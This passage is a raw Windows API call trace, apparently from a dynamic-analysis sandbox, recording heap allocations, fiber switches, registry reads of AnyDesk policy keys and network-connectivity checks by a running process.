RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa5b0 [0285.339] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa578 | out: hHeap=0x1930000) returned 1 [0285.340] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a80 [0285.340] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0285.340] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.340] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.341] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a80 | out: hHeap=0x1930000) returned 1 [0285.341] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a80 [0285.341] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9470 [0285.341] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa578 [0285.341] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1972050 [0285.341] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961e40 | out: hHeap=0x1930000) returned 1 [0285.341] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a80 | out: hHeap=0x1930000) returned 1 [0285.342] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a80 [0285.342] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.342] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa5b0 | out: hHeap=0x1930000) returned 1 [0285.343] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f9d0 | out: hHeap=0x1930000) returned 1 [0285.343] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0285.343] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c648 | out: hHeap=0x1930000) returned 1 [0285.343] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3c0 | out: hHeap=0x1930000) returned 1 [0285.344] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa4d0 | out: hHeap=0x1930000) returned 1 [0285.344] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3d8 | out: hHeap=0x1930000) returned 1 [0285.344] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c5f8 | out: hHeap=0x1930000) returned 1 [0285.344] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3f0 | out: hHeap=0x1930000) returned 1 [0285.345] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0285.345] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0285.345] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975fc0 | out: hHeap=0x1930000) returned 1 [0285.345] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab390 | out: hHeap=0x1930000) returned 1 [0285.346] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1985838 | out: hHeap=0x1930000) returned 1 [0285.346] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab408 | out: hHeap=0x1930000) returned 1 [0285.346] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196c2e0 | out: hHeap=0x1930000) returned 1 [0285.346] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab438 | out: hHeap=0x1930000) returned 1 [0285.347] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975f00 | out: hHeap=0x1930000) returned 1 [0285.347] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0285.347] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c5a8 | out: hHeap=0x1930000) returned 1 [0285.347] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab318 | out: hHeap=0x1930000) returned 1 [0285.348] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990558 | out: hHeap=0x1930000) returned 1 [0285.348] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab420 | out: hHeap=0x1930000) returned 1 [0285.348] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19af560 | out: hHeap=0x1930000) returned 1 [0285.349] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969238 | out: hHeap=0x1930000) returned 1 [0285.349] UnlockFileEx (in: hFile=0x32c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x294b208 | out: lpOverlapped=0x294b208) returned 1 [0285.349] CloseHandle (hObject=0x32c) returned 1 [0285.349] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0285.350] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.350] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.350] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.350] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699c0 | out: hHeap=0x1930000) returned 1 [0285.350] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19856b8 | out: hHeap=0x1930000) returned 1 [0285.351] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8f70 | out: hHeap=0x1930000) returned 1 [0285.351] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.351] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.351] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.351] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.351] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699f0 | out: hHeap=0x1930000) returned 1 [0285.351] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa428 | out: hHeap=0x1930000) returned 1 [0285.352] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a90b0 | out: hHeap=0x1930000) returned 1 [0285.353] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.353] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.353] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.353] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.353] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969980 | out: hHeap=0x1930000) returned 1 [0285.353] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0285.353] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8fd0 | out: hHeap=0x1930000) returned 1 [0285.354] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.354] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.354] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.354] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.354] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969990 | out: hHeap=0x1930000) returned 1 [0285.354] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971038 | out: hHeap=0x1930000) returned 1 [0285.354] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8ff0 | out: hHeap=0x1930000) returned 1 [0285.355] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.355] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.355] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.355] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975f00 [0285.355] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976080 | out: hHeap=0x1930000) returned 1 [0285.355] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19688a8 | out: hHeap=0x1930000) returned 1 [0285.356] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8f90 | out: hHeap=0x1930000) returned 1 [0285.356] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975f00 | out: hHeap=0x1930000) returned 1 [0285.356] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.356] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.356] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.356] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699a0 | out: hHeap=0x1930000) returned 1 [0285.357] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972ec0 | out: hHeap=0x1930000) returned 1 [0285.357] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9010 | out: hHeap=0x1930000) returned 1 [0285.357] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.357] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.357] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.357] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.357] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699d0 | out: hHeap=0x1930000) returned 1 [0285.358] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196b5a0 | out: hHeap=0x1930000) returned 1 [0285.358] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9050 | out: hHeap=0x1930000) returned 1 [0285.358] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.358] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.358] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.358] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.358] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699e0 | out: hHeap=0x1930000) returned 1 [0285.358] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1967228 | out: hHeap=0x1930000) returned 1 [0285.359] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9070 | out: hHeap=0x1930000) returned 1 [0285.359] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.359] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.359] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.359] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab420 [0285.359] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab480 | out: hHeap=0x1930000) returned 1 [0285.359] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963860 | out: hHeap=0x1930000) returned 1 [0285.359] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9090 | out: hHeap=0x1930000) returned 1 [0285.359] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab420 | out: hHeap=0x1930000) returned 1 [0285.360] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.360] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.360] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a90 [0285.360] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0285.360] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970ff0 | out: hHeap=0x1930000) returned 1 [0285.360] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8fb0 | out: hHeap=0x1930000) returned 1 [0285.360] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.360] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a90 [0285.361] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.361] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0285.361] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699b0 | out: hHeap=0x1930000) returned 1 [0285.361] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0285.361] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9030 | out: hHeap=0x1930000) returned 1 [0285.361] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0285.362] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1967280 | out: hHeap=0x1930000) returned 1 [0285.366] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9130 | out: hHeap=0x1930000) returned 1 [0285.366] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9310 | out: hHeap=0x1930000) returned 1 [0285.366] SwitchToFiber (lpFiber=0x16f6890) [0285.366] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb20 | out: lpPerformanceCount=0x25efb20*=2566533015345) returned 1 [0285.366] WaitForMultipleObjects (nCount=0x6, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0x1) returned 0x102 [0296.144] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb18 | out: lpPerformanceCount=0x25efb18*=2567610797506) returned 1 [0296.144] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bb08 [0296.144] GetCurrentThreadId () returned 0x5d8 [0296.145] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9270 | out: hHeap=0x1930000) returned 1 [0296.145] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a90 [0296.146] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0296.146] QueryPerformanceFrequency (in: lpFrequency=0x25efb34 | out: lpFrequency=0x25efb34*=100000000) returned 1 [0296.146] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb34 | out: lpPerformanceCount=0x25efb34*=2567610981367) returned 1 [0296.146] SwitchToFiber (lpFiber=0x16fbd50) [0296.146] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bb08 | out: hHeap=0x1930000) returned 1 [0296.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1cf08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0296.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3b8 [0296.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1cf08, cbMultiByte=-1, lpWideCharStr=0x196d3b8, cchWideChar=8 | out: lpWideCharStr="waiting") returned 8 [0296.147] GetLastError () returned 0xb7 [0296.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x198ce18 [0296.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x350f8e4, cbMultiByte=-1, lpWideCharStr=0x198ce18, cchWideChar=24 | out: lpWideCharStr="Waiting for 55 seconds.") returned 24 [0296.147] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab360 | out: hHeap=0x1930000) returned 1 [0296.147] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab360 [0296.147] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa508 | out: hHeap=0x1930000) returned 1 [0296.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa508 [0296.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bb08 [0296.148] GetCurrentThreadId () returned 0x5d8 [0296.148] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198ce18 | out: hHeap=0x1930000) returned 1 [0296.148] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196d3b8 | out: hHeap=0x1930000) returned 1 [0296.148] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196be08 [0296.148] QueryPerformanceCounter (in: lpPerformanceCount=0x350fc80 | out: lpPerformanceCount=0x350fc80*=2567611233996) returned 1 [0296.149] GetCurrentThreadId () returned 0x5d8 [0296.149] SwitchToFiber (lpFiber=0x16f6890) [0296.149] SwitchToFiber (lpFiber=0x16f70a0) [0296.149] GetLastError () returned 0xb7 [0296.149] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a90 [0296.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4f274, cbMultiByte=-1, lpWideCharStr=0x1969a90, cchWideChar=2 | out: lpWideCharStr="0") returned 2 [0296.150] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0296.151] GetLastError () returned 0xb7 [0296.151] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a90 [0296.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4f298, cbMultiByte=-1, lpWideCharStr=0x1969a90, cchWideChar=4 | out: lpWideCharStr="1.0") returned 4 [0296.151] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a90 | out: hHeap=0x1930000) returned 1 [0296.151] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bb08 | out: hHeap=0x1930000) returned 1 [0296.151] SwitchToFiber (lpFiber=0x16f6890) [0296.151] QueryPerformanceCounter (in: lpPerformanceCount=0x25efb20 | out: lpPerformanceCount=0x25efb20*=2567611501086) returned 1 [0296.151] WaitForMultipleObjects (nCount=0x6, lpHandles=0x131ca64*=0x1b8, bWaitAll=0, dwMilliseconds=0x3e6) Thread: id = 565 os_tid = 0x5dc [0283.644] OleInitialize (pvReserved=0x0) returned 0x0 [0283.644] SetEvent (hEvent=0x190) returned 1 [0283.671] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x110, phkResult=0x26ff8c8 | out: phkResult=0x26ff8c8*=0x0) returned 0x2 [0283.671] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x110, phkResult=0x26ff8c8 | out: phkResult=0x26ff8c8*=0x0) returned 0x2 [0283.671] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies", ulOptions=0x0, samDesired=0x110, phkResult=0x26ff8c8 | out: phkResult=0x26ff8c8*=0x190) returned 0x0 [0283.671] RegNotifyChangeKeyValue (hKey=0x190, bWatchSubtree=1, dwNotifyFilter=0x5, hEvent=0x1d0, fAsynchronous=1) returned 0x0 [0283.671] MsgWaitForMultipleObjectsEx (nCount=0x4, pHandles=0x131d8c4*=0x1d4, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff, dwFlags=0x0) Thread: id = 566 os_tid = 0x5e0 [0283.781] OleInitialize (pvReserved=0x0) returned 0x0 [0283.781] SetEvent (hEvent=0x220) returned 1 [0283.796] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab138 [0283.796] CoCreateInstance (in: rclsid=0x7e120c*(Data1=0xdcb00c01, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7e11ec*(Data1=0xdcb00000, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), ppv=0x307fb6c | out: ppv=0x307fb6c*=0x18feb8) returned 0x0 [0283.892] NetworkListManager:INetworkListManager:GetConnectivity (This=0x18feb8, pConnectivity=0x307fb74) Thread: id = 567 os_tid = 0x5e4 [0283.902] OleInitialize (pvReserved=0x0) returned 0x0 [0283.902] SetEvent (hEvent=0x230) returned 1 [0283.902] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab168 [0283.902] CoCreateInstance (in: rclsid=0x7e120c*(Data1=0xdcb00c01, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7e11ec*(Data1=0xdcb00000, Data2=0x570f, Data3=0x4a9b, Data4=([0]=0x8d, [1]=0x69, [2]=0x19, [3]=0x9f, [4]=0xdb, [5]=0xa5, [6]=0x72, [7]=0x3b)), ppv=0x366fe8c | out: ppv=0x366fe8c*=0x2000d60) returned 0x0 [0283.903] NetworkListManager:INetworkListManager:GetConnectivity (This=0x2000d60, pConnectivity=0x366fe94) Thread: id = 568 os_tid = 0x5e8 [0284.123] OleInitialize (pvReserved=0x0) returned 0x0 [0284.123] SetEvent (hEvent=0x25c) returned 1 [0284.139] GetTickCount () returned 0xbab8 [0284.139] GetLastError () returned 0x57 [0284.140] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x214) returned 0x1969018 [0284.142] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0284.146] GetCurrentThreadId () returned 0x5e8 [0284.146] SetLastError (dwErrCode=0x57) [0284.146] GetLastError () returned 0x0 [0284.146] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x400) returned 0x19adef0 [0284.147] GetLastError () returned 0x0 [0284.147] SetLastError (dwErrCode=0x0) [0284.147] GetLastError () returned 0x0 [0284.147] SetLastError (dwErrCode=0x0) [0284.147] GetLastError () returned 0x0 [0284.147] SetLastError (dwErrCode=0x0) [0284.147] GetLastError () returned 0x0 [0284.147] SetLastError (dwErrCode=0x0) [0284.147] GetLastError () returned 0x0 [0284.147] SetLastError (dwErrCode=0x0) [0284.147] GetLastError () returned 0x0 [0284.148] SetLastError (dwErrCode=0x0) [0284.148] GetLastError () returned 0x0 [0284.148] SetLastError (dwErrCode=0x0) [0284.148] GetLastError () returned 0x0 [0284.148] SetLastError (dwErrCode=0x0) [0284.148] GetLastError () returned 0x0 [0284.148] SetLastError (dwErrCode=0x0) [0284.148] GetLastError () returned 0x0 [0284.148] SetLastError (dwErrCode=0x0) [0284.148] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0284.148] GetSystemTime (in: lpSystemTime=0x378fc80 | out: lpSystemTime=0x378fc80*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x218)) [0284.148] GetCurrentThreadId () returned 0x5e8 [0284.148] GetCurrentProcessId () returned 0x51c [0284.148] GetLastError () returned 0x0 [0284.148] SetLastError (dwErrCode=0x0) [0284.148] GetLastError () returned 0x0 [0284.148] SetLastError (dwErrCode=0x0) [0284.148] GetLastError () returned 0x0 [0284.148] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.149] SetLastError (dwErrCode=0x0) [0284.149] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.150] SetLastError (dwErrCode=0x0) [0284.150] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.151] SetLastError (dwErrCode=0x0) [0284.151] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.152] GetLastError () returned 0x0 [0284.152] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] GetLastError () returned 0x0 [0284.153] SetLastError (dwErrCode=0x0) [0284.153] 